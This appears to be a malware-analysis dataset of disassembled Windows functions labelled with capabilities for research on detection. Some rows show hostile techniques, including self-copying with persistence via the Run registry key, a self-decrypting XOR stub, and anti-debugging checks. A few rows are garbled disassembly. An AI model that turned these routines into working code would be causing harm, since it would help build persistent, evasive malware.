joyce8/EMBER2024-capa huggingface dataset:
Function at 0x117592b0
Capabilities:
Set registry value

Disassembly:
push edi
mov edi, dword [esp + 0x10]
cmp edi, 0xffffffff
je 0x117592cd
cmp edi, 4
jbe 0x117592cd
mov dword [0x117c1afc], 0x57
xor eax, eax
pop edi
ret
mov eax, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x10]
cmp eax, 0xffffffff
mov ebx, dword [esi]
je 0x117592ec
push eax
mov eax, dword [str.Type]
push eax
mov ecx, esi
call fcn.11695280
cmp edi, 0xffffffff
je 0x11759300
mov ecx, dword [str.Start]
push edi
push ecx
mov ecx, esi
call fcn.11695280
mov eax, dword [esp + 0x1c]
cmp eax, 0xffffffff
je 0x11759318
mov edx, dword [str.ErrorControl]
push eax
push edx
mov ecx, esi
call fcn.11695280
mov eax, dword [esp + 0x20]
test eax, eax
je 0x1175932e
push eax
mov eax, dword [str.DisplayName]
push eax
mov ecx, esi
call fcn.11695430
mov eax, dword [esp + 0x24]
test eax, eax
je 0x11759345
mov ecx, dword [str.Description]
push eax
push ecx
mov ecx, esi
call fcn.11695430
mov edi, dword [esp + 0x28]
test edi, edi
je 0x1175936d
push edi
call fcn.116bfde7
add esp, 4
lea edx, [eax + eax + 2]
mov eax, dword [str.ImagePath]
push edx
push edi
push 2
push 0
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x11759384
mov ecx, dword [str.Group]
push eax
push ecx
mov ecx, esi
call fcn.11695430
mov eax, dword [esp + 0x30]
test eax, eax
je 0x1175939b
mov edx, dword [str.DependOnGroup]
push eax
push edx
mov ecx, esi
call fcn.11695890
mov eax, dword [esp + 0x34]
test eax, eax
je 0x117593b1
push eax
mov eax, dword [str.DependOnService]
push eax
mov ecx, esi
call fcn.11695890
pop esi
pop ebx
mov eax, 1
pop edi
ret
Function at 0x1175a350
Capabilities:
Persist via run registry key

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x117727a0
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x1175a383
xor eax, eax
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
cmp word [esi], 0
jne 0x1175a39b
xor eax, eax
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
lea ecx, [esp + 4]
call fcn.11693ff0
mov eax, dword [str.SoftwareMicrosoftWindowsCurrentVersionRunServices]
push 0x20019
push eax
push SysStringLen
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0
call fcn.11694160
test eax, eax
je 0x1175a447
push 1
push esi
lea ecx, [esp + 0xc]
call fcn.11696630
test eax, eax
jne 0x1175a3fc
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.116940e0
xor eax, eax
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
push edi
mov edi, dword [esp + 0x28]
test edi, edi
je 0x1175a42f
lea ecx, [esp + 0x28]
push esi
push ecx
lea ecx, [esp + 0x10]
call fcn.11694790
push eax
mov ecx, edi
mov byte [esp + 0x1c], 1
call fcn.11685700
lea ecx, [esp + 0x28]
mov byte [esp + 0x18], 0
call fcn.11685570
mov eax, dword [esp + 0x24]
pop edi
test eax, eax
je 0x1175a50e
mov dword [eax], 0x10
jmp 0x1175a50e
mov edx, dword [0x11773dfc]
mov dword [esp + 0x1c], edx
mov eax, dword [str.SystemCurrentControlSetServicesVxD]
push esi
push eax
lea ecx, [esp + 0x24]
push 0x1178f20c
push ecx
mov byte [esp + 0x24], 2
call fcn.116884f0
mov edx, dword [esp + 0x2c]
add esp, 0x10
lea ecx, [esp + 4]
push 0x20019
push edx
push SysStringLen
call fcn.11694160
test eax, eax
jne 0x1175a4bb
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14], al
call fcn.11685570
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.116940e0
xor eax, eax
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
mov esi, dword [esp + 0x24]
test esi, esi
je 0x1175a4f2
mov eax, dword [str.StaticVxD]
lea ecx, [esp + 0x24]
push eax
push ecx
lea ecx, [esp + 0xc]
call fcn.11694790
push eax
mov ecx, esi
mov byte [esp + 0x18], 3
call fcn.11685700
lea ecx, [esp + 0x24]
mov byte [esp + 0x14], 2
call fcn.11685570
mov eax, dword [esp + 0x20]
test eax, eax
je 0x1175a500
mov dword [eax], 1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14], 0
call fcn.11685570
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.116940e0
mov ecx, dword [esp + 0xc]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x1175a540
Capabilities:
Persist via run registry key

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x117727c8
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [esp + 0x24]
xor ebx, ebx
cmp edi, ebx
je 0x1175a651
mov esi, dword [esp + 0x2c]
cmp esi, ebx
je 0x1175a651
cmp word [edi], bx
je 0x1175a651
cmp word [esi], bx
je 0x1175a651
lea ecx, [esp + 0xc]
call fcn.11693ff0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], ebx
cmp eax, 2
je 0x1175a5ef
cmp eax, 1
je 0x1175a5ef
mov eax, dword [str.SoftwareMicrosoftWindowsCurrentVersionRunServices]
push 0x2001f
push eax
push SysStringLen
lea ecx, [esp + 0x18]
call fcn.11694160
test eax, eax
jne 0x1175a5dd
mov ecx, dword [str.SoftwareMicrosoftWindowsCurrentVersionRunServices]
push 0x2001f
push ecx
push SysStringLen
lea ecx, [esp + 0x18]
call fcn.116941d0
test eax, eax
je 0x1175a640
push esi
push edi
lea ecx, [esp + 0x14]
call fcn.11695430
mov esi, eax
jmp 0x1175a6d6
mov edx, dword [0x11773dfc]
mov dword [esp + 0x24], edx
mov eax, dword [str.SystemCurrentControlSetServicesVxD]
push edi
push eax
lea ecx, [esp + 0x2c]
push 0x1178f20c
push ecx
mov byte [esp + 0x2c], 1
call fcn.116884f0
mov edx, dword [esp + 0x34]
add esp, 0x10
lea ecx, [esp + 0xc]
push 0x2001f
push edx
push SysStringLen
call fcn.11694160
test eax, eax
jne 0x1175a665
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], bl
call fcn.11685570
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.116940e0
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
mov eax, dword [0x11773dfc]
mov dword [esp + 0x2c], eax
push 0x5c
push esi
mov byte [esp + 0x24], 2
call fcn.116c0315
add esp, 8
cmp eax, ebx
je 0x1175a68f
add eax, 2
lea ecx, [esp + 0x2c]
push eax
call fcn.116857f0
mov eax, dword [esp + 0x2c]
cmp dword [eax - 8], ebx
jne 0x1175a6a8
lea ecx, [esp + 0x2c]
mov byte [esp + 0x1c], 1
call fcn.11685570
jmp 0x1175a633
mov ecx, dword [str.StaticVxD]
push eax
push ecx
lea ecx, [esp + 0x14]
call fcn.11695430
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x1c], 1
call fcn.11685570
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], bl
call fcn.11685570
lea ecx, [esp + 0xc]
call fcn.116941b0
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.116940e0
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x1175b530
Capabilities:
Get disk information

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x11772920
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
push edi
push 0xffffffffffffffff
push 0
mov ecx, esi
call fcn.1168af00
mov edi, dword [esp + 0x3c]
push 0xffffffffffffffff
push 0
mov ecx, edi
call fcn.1168af00
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, eax
mov eax, dword [0x117c1be8]
test eax, eax
je 0x1175b5e8
cmp ebp, eax
jne 0x1175b5e8
mov eax, dword [0x117c1bec]
test eax, eax
je 0x1175b5e8
cmp ebx, eax
jb 0x1175b5e8
add eax, 0x493e0
cmp eax, ebx
jb 0x1175b5e8
mov ebp, dword [0x117c1bf0]
push 1
inc ebp
push 0x117c1b08
lea ecx, [esp + 0x18]
mov dword [0x117c1bf0], ebp
call fcn.116933e0
push 0x117c1b38
mov ecx, esi
mov dword [esp + 0x34], 0
call fcn.1168b0e0
push 0x117c1b28
mov ecx, edi
call fcn.1168b0e0
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x10]
jmp 0x1175b65e
push edi
push esi
mov dword [0x117c1bf0], 0
call fcn.1175b960
add esp, 8
lea ecx, [esp + 0x1c]
push 1
push 0x117c1b08
call fcn.116933e0
push 0xffffffffffffffff
push 0
mov ecx, 0x117c1b38
mov dword [esp + 0x38], 1
mov dword [0x117c1be8], ebp
mov dword [0x117c1bec], ebx
call fcn.1168af00
push esi
mov ecx, 0x117c1b38
call fcn.1168b0e0
push 0xffffffffffffffff
push 0
mov ecx, 0x117c1b28
call fcn.1168af00
push edi
mov ecx, 0x117c1b28
call fcn.1168b0e0
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x1c]
call fcn.11693440
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x1175b960
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x11772986
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push ebp
push esi
mov esi, dword [esp + 0x240]
push edi
xor ebx, ebx
push 0xffffffffffffffff
push ebx
mov ecx, esi
call fcn.1168af00
mov ebp, dword [esp + 0x248]
push 0xffffffffffffffff
push ebx
mov ecx, ebp
call fcn.1168af00
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [esp + 0x28], eax
xor eax, eax
mov dword [esp + 0x10], 1
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x10]
test ecx, edx
je 0x1175ba99
mov edx, dword [0x1179128c]
mov cx, word [0x11791290]
mov dword [esp + 0x18], edx
add word [esp + 0x18], ax
lea edx, [esp + 0x18]
mov word [esp + 0x1c], cx
push edx
lea ecx, [esp + 0x28]
mov word [esp + 0x22], bx
call fcn.11684dd0
mov eax, dword [esi + 4]
lea ecx, [esp + 0x24]
push ecx
push eax
mov ecx, esi
mov dword [esp + 0x244], ebx
call fcn.1168b4a0
mov edx, dword [0x11773dfc]
mov dword [esp + 0x14], edx
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x2e]
mov word [esp + 0x2c], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x2c]
push 0x104
lea ecx, [esp + 0x1c]
push eax
push ecx
mov byte [esp + 0x248], 1
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x14]
push edx
mov word [esp + 0x236], bx
call fcn.116857f0
mov eax, dword [ebp + 4]
lea ecx, [esp + 0x14]
push ecx
push eax
mov ecx, ebp
call fcn.1168b4a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x23c], bl
call fcn.11685570
lea ecx, [esp + 0x24]
mov dword [esp + 0x23c], 0xffffffff
call fcn.11685570
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
inc eax
shl edx, 1
cmp eax, 0x1a
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], edx
jb 0x1175b9bb
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x230
ret
Function at 0x11766330
Capabilities:
Encode data using base64

Disassembly:
push ebp
push edi
mov edi, dword [esp + 0x14]
xor ebp, ebp
test edi, edi
jle 0x11766416
mov ecx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x18]
cmp edi, 3
jl 0x117663a3
xor edx, edx
xor eax, eax
mov dh, byte [esi]
mov al, byte [esi + 2]
mov dl, byte [esi + 1]
shl edx, 8
or edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
inc ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
inc ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
mov eax, edx
shr eax, 6
and eax, 0x3f
inc ecx
and edx, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], dl
jmp 0x117663fa
xor edx, edx
mov dl, byte [esi]
shl edx, 0x10
cmp edi, 2
jne 0x117663b6
xor eax, eax
mov ah, byte [esi + 1]
or edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
inc ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
inc ecx
cmp edi, 1
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx - 1], al
jne 0x117663e6
mov ebx, 0x3d
jmp 0x117663f4
shr edx, 6
and edx, 0x3f
xor ebx, ebx
mov bl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], bl
inc ecx
mov byte [ecx], 0x3d
sub edi, 3
inc ecx
add ebp, 4
add esi, 3
test edi, edi
jg 0x1176634a
pop esi
pop ebx
mov eax, ebp
pop edi
mov byte [ecx], 0
pop ebp
ret
mov ecx, dword [esp + 0xc]
mov eax, ebp
pop edi
pop ebp
mov byte [ecx], 0
ret
Function at 0x11766b90
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x20
call fcn.116c1230
push ebx
mov ebx, dword [esp + 0x30]
push ebp
push esi
test ebx, ebx
push edi
jle 0x11766ce4
cmp ebx, 0x80
jg 0x11766ce4
mov edi, dword [esp + 0x44]
mov eax, edi
mov ecx, dword [eax]
mov dword [esp + 0x10], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x14], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0x18], ecx
mov edx, dword [eax + 0xc]
mov eax, dword [esp + 0x40]
push eax
push edi
push edi
mov dword [esp + 0x28], edx
call fcn.117674a0
lea eax, [ebx + 7]
add esp, 0xc
cdq
and edx, 7
add eax, edx
mov ebp, eax
mov eax, dword [esp + 0x48]
sar ebp, 3
test eax, eax
je 0x11766c27
test ebp, ebp
jle 0x11766c75
mov edx, dword [esp + 0x34]
mov ebx, dword [esp + 0x38]
lea esi, [esp + 0x20]
sub edx, edi
sub esi, edi
mov ecx, edi
sub ebx, edi
mov al, byte [edx + ecx]
xor al, byte [ecx]
inc ecx
dec ebp
mov byte [esi + ecx - 1], al
mov byte [ebx + ecx - 1], al
jne 0x11766c14
jmp 0x11766c71
xor esi, esi
test ebp, ebp
jle 0x11766c75
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0x20]
mov ebx, edi
lea edx, [esp + 0x20]
sub eax, ecx
mov ecx, dword [esp + 0x38]
sub ebx, edx
lea edx, [esp + 0x20]
sub ecx, edx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ecx
jmp 0x11766c57
mov ebx, dword [esp + 0x34]
lea ecx, [esp + esi + 0x20]
mov dl, byte [eax + ecx]
mov bl, byte [ebx + ecx]
mov byte [ecx], dl
xor bl, dl
mov edx, dword [esp + 0x38]
inc esi
cmp esi, ebp
mov byte [edx + ecx], bl
jl 0x11766c53
mov ebx, dword [esp + 0x3c]
mov ebp, ebx
and ebp, 0x80000007
jns 0x11766c84
dec ebp
or ebp, 0xfffffff8
inc ebp
mov eax, ebx
cdq
and edx, 7
add eax, edx
sar eax, 3
test ebp, ebp
jne 0x11766cb5
lea eax, [esp + eax + 0x10]
mov ecx, dword [eax]
mov dword [edi], ecx
mov edx, dword [eax + 4]
mov dword [edi + 4], edx
mov ecx, dword [eax + 8]
mov dword [edi + 8], ecx
mov edx, dword [eax + 0xc]
mov dword [edi + 0xc], edx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
mov ecx, 8
xor esi, esi
sub ecx, ebp
lea eax, [esp + eax + 0x10]
mov dword [esp + 0x3c], ecx
jmp 0x11766ccc
mov ecx, dword [esp + 0x3c]
mov dl, byte [eax + esi + 1]
mov bl, byte [eax + esi]
shr dl, cl
mov ecx, ebp
shl bl, cl
or dl, bl
mov byte [esi + edi], dl
inc esi
cmp esi, 0x10
jl 0x11766cc8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5b0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.opeqmc.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3e0
lea eax, [ebp - 0x1800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
jne 0x40b3e0
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.IueiOod
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3ca
push ebx
push 3
jmp 0x40b3d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3db
call fcn.0040ab7c
test eax, eax
je 0x40b453
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b453
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b453
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b4ad
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b498
lea eax, [ebp - 0x800]
push eax
jmp 0x429228
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b44c
push ebx
call fcn.00407727
cmp eax, ebx
pop ecx
push esi
je 0x40b4cf
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x411040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b4e9
lea eax, [ebp - 0x1000]
push eax
push ebx
call edi
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.004054ed
lea eax, [ebp - 0x1000]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b44c
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a786
add esp, 0xc
mov dword [0x411058], ebx
jmp 0x40b3db

Function at 0x40cd66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd70
repz ret
jmp fcn.0040d00b

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402775
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x402777
ret

Function at 0x405d20
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
test al, 0x8b
in al, dx
push ecx
push esi
push edi
call fcn.00405ea8
test dword [esi + 0xf], esi
test ebp, edi
add byte [eax], al
add byte [ebx - 0x7df79bc3], al
add byte [edi + ecx], dl
invalid
Function at 0x4046d0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x40ffdb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4034d4
call fcn.00404d64
push 4
mov dword [esp + 0x18], 0
call fcn.00405897
mov edi, eax
add esp, 4
test edi, edi
je 0x404744
push ebx
call fcn.00405022
mov dword [edi], eax
call fcn.00404e32
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00404d25
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x404738
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00404d4d
pop ebx
jmp 0x404746
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x406021
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425a80]
jne 0x40602b
repz ret
jmp fcn.0040988c
Function at 0x40a61c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x425a80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004076bb
and dword [ebp - 0x14], 0
cmp dword [0x4b81a4], 0
mov dword [ebp - 0x18], eax
jne 0x40a6cf
push 0x402a8c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a777
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x402a80
push ebx
call edi
test eax, eax
je 0x40a777
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push 0x402a70
push ebx
mov dword [0x4b81a4], eax
call edi
push eax
call esi
push 0x402a5c
push ebx
mov dword [0x4b81a8], eax
call edi
push eax
call esi
push 0x402a40
push ebx
mov dword [0x4b81ac], eax
call edi
push eax
call esi
mov dword [0x4b81b4], eax
test eax, eax
je 0x40a6cf
push 0x402a28
push ebx
call edi
push eax
call esi
mov dword [0x4b81b0], eax
mov eax, dword [0x4b81b0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x40a728
cmp dword [0x4b81b4], ecx
je 0x40a728
push eax
call esi
push dword [0x4b81b4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40a728
test ebx, ebx
je 0x40a728
call edi
test eax, eax
je 0x40a71f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40a71f
test byte [ebp - 8], 1
jne 0x40a728
or dword [ebp + 0x10], 0x200000
jmp 0x40a75b
mov eax, dword [0x4b81a8]
cmp eax, dword [ebp - 0x18]
je 0x40a75b
push eax
call esi
test eax, eax
je 0x40a75b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40a75b
mov eax, dword [0x4b81ac]
cmp eax, dword [ebp - 0x18]
je 0x40a75b
push eax
call esi
test eax, eax
je 0x40a75b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4b81a4]
call esi
test eax, eax
je 0x40a777
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a779
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406021
leave
ret
Function at 0x40b350
Capabilities:
Accept command line arguments
Get common file path
Read .ini file

Disassembly:
sub esp, 0x81c
cmp dword [0x235b884], 0x37
jne 0x40b3e6
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push 0x403228
push 0
push 0x403254
push 0x403298
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_OpenWaitableTimerA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetConsoleAliasA]
xor eax, eax
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0x4032e0
lea edx, [esp + 0x14]
push edx
push eax
push eax
mov word [esp + 0x20], ax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov word [esp + 0x2e], ax
call dword [sym.imp.KERNEL32.DLL_GetDateFormatA]
push 0
lea eax, [esp + 0x41c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_EnumTimeFormatsW]
mov ecx, dword [0x235b888]
mov dword [esp + 4], ecx
mov eax, 0x5d1
add dword [esp + 4], eax
mov edx, dword [esp + 4]
mov al, byte [edx + esi]
mov ecx, dword [0x235182c]
mov byte [ecx + esi], al
add esp, 0x81c
ret